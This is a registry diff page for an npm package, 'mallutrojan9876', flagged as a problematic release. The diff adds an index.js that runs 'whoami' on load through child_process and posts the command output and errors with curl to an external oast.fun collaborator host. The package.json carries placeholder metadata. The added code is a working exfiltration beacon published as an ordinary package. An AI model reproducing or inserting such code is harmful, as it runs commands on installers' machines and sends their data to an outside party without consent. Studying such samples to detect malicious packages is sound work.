mallutrojan9876 5.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of mallutrojan9876 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +37 -0
  2. package/package.json +18 -0
package/index.js ADDED
@@ -0,0 +1,37 @@
1
+ const { exec } = require("child_process");
2
+
3
+ function sendPingback(data) {
4
+ const collaboratorUrl = "https://usbbcjkkyavkeqhiqzrdv5vnqip58g0j7.oast.fun";
5
+ exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
6
+ if (error) {
7
+ console.error(`Error: ${error.message}`);
8
+ return;
9
+ }
10
+ if (stderr) {
11
+ console.error(`Stderr: ${stderr}`);
12
+ return;
13
+ }
14
+ console.log(`Pingback sent: ${stdout}`);
15
+ });
16
+ }
17
+
18
+ function executeCommand(command) {
19
+ exec(command, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.error(`Error: ${error.message}`);
22
+ sendPingback(`Error executing command: ${error.message}`);
23
+ return;
24
+ }
25
+ if (stderr) {
26
+ console.error(`Stderr: ${stderr}`);
27
+ sendPingback(`Stderr: ${stderr}`);
28
+ return;
29
+ }
30
+ console.log(`Command output: ${stdout}`);
31
+ sendPingback(stdout); // Send the command output to the collaborator
32
+ });
33
+ }
34
+
35
+ // Example: Execute a command (e.g., 'whoami')
36
+ executeCommand('whoami');
37
+
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "mallutrojan9876",
3
+ "version": "5.9.9",
4
+ "description": "Your package description",
5
+ "main": "index.js",
6
+ "private": false,
7
+ "author": "Your Name",
8
+ "license": "MIT",
9
+ "dependencies": {
10
+ "request": "^2.75.0",
11
+ "jwk-to-pem": "^1.2.5",
12
+ "jsonwebtoken": "^7.0.0"
13
+ },
14
+ "devDependencies": {
15
+ "lambda-local": "^1.4.2"
16
+ }
17
+ }
18
+